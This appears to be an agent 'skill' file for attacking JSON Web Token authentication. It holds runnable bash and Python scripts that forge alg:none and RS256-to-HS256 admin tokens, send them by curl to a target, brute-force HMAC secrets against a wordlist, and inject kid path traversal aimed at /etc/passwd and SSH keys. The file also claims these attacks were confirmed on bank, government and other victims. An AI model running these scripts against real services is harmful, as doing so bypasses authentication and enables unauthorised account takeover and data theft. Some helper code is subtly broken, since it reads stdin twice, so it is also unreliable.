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| name | jwt-attack |
| description | Decode, forge, brute JWTs when Bearer auth header is seen. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["recon","JWT","token","forge","brute-force"] |
| category | recon |
| related_skills | ["api-noauth-hunt","js-secrets-extraction","firebase-supabase-attack"] |
Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).
Authorization: Bearer eyJ... headers.eyJ... token patterns.js-secrets-extraction finds JWT tokens.api-noauth-hunt needs token forging for auth bypass.jwt=, token=, or session= with base64-encoded values.terminal with curl, python3.hashcat or john for high-speed cracking (optional).# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
for i, part in enumerate(parts[:2]):
try:
padded = part + '=' * (4 - len(part) % 4)
decoded = base64.urlsafe_b64decode(padded)
print(f'--- Part {i} ---')
print(json.dumps(json.loads(decoded), indent=2))
except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"
# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
| Attack | Prerequisites | Impact | Difficulty |
|---|---|---|---|
| alg:none | Server accepts |
alg: "none"| Full admin access |
| Easy |
| RS256→HS256 | JWT signed with RS256 | Full admin access | Medium (need public key) |
| Weak HMAC secret | HS256 with weak secret | Full admin access | Medium (need to crack) |
| kid injection | Server trusts kid header | RCE/LFI | Hard |
| Expired token reuse | Server doesn't validate exp | Session persistence | Trivial |
| Hardcoded JWT | JWT found in JS/source | Whatever the JWT grants | Trivial |
JWT="$1"
echo "[*] JWT analysis"
# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)
echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
print(json.dumps(d, indent=2))
except: print(' (not valid base64 JSON)')
"
echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
for k, v in d.items():
if k in ('exp', 'iat', 'nbf'):
from datetime import datetime, timezone
dt = datetime.fromtimestamp(v, tz=timezone.utc)
print(f' {k}: {v} ({dt})')
else:
print(f' {k}: {v}')
except: print(' (not valid base64 JSON)')
"
# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)
if [[ "$EXP" == "no-expiry" ]]; then
echo "[!] Token has NO expiration — permanent access"
else
NOW=$(date +%s)
if [[ "$EXP" -gt "$NOW" ]]; then
REMAINING=$((EXP - NOW))
DAYS=$((REMAINING / 86400))
echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
else
echo "[-] Token EXPIRED $(date -d @$EXP)"
fi
fi
TARGET="$1"
ENDPOINT="$2" # Authenticated endpoint to test
ORIGINAL_JWT="$3" # Any valid JWT to extract claims from
echo "[*] alg:none attack"
# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)
# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."
echo " Forged token: ${FORGED_TOKEN:0:80}..."
# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
if [[ "$RESP" == "200" ]]; then
echo " [CRITICAL] alg:none ACCEPTED — full admin access!"
else
echo " [-] alg:none rejected (HTTP $RESP)"
fi
TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3" # RSA public key (PEM), from /.well-known/jwks.json or source leak
echo "[*] RS256→HS256 key confusion attack"
# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys
# Read public key
with open('$PUBLIC_KEY_FILE') as f:
pubkey = f.read()
# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
forged = jwt.encode(payload, pubkey, algorithm='HS256')
print(forged)
except Exception as e:
print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)
if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
echo " Forged token: ${JWT_TOOL:0:80}..."
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $JWT_TOOL" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "200" ]] && echo " [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
echo " [-] Forging failed (check public key format)"
fi
JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"
echo "[*] Quick HS256 secret brute force"
# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json
jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
if header.get('alg') != 'HS256':
print('[-] Not HS256 — algorithm is:', header.get('alg'))
sys.exit(0)
# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
'app_secret', 'secret_key', 'auth_token', 'private_key']
for secret in secrets:
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED] Secret: {secret}')
break
else:
print('[-] Not in top-15 list')
# Also try from wordlist (first 5000 lines)
try:
with open('$WORDLIST', 'rb') as f:
for i, line in enumerate(f):
if i >= 5000: break
secret = line.strip()
sig = base64.urlsafe_b64encode(
hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
break
else:
print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
print('[-] Wordlist not found at $WORDLIST')
"
TARGET="$1"
ENDPOINT="$2"
echo "[*] kid header injection test"
# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"
RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "500" ]] && echo " [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
sleep 0.3
done
/.well-known/jwks.json or in JS bundles.hashcat -m 16500 for HS256 or john for production-speed cracking.jti validation. Even if you forge a valid JWT, Passport checks if the jti (JWT ID) exists in the database./.well-known/jwks.json — alg:none won't work because the server always verifies with the public key.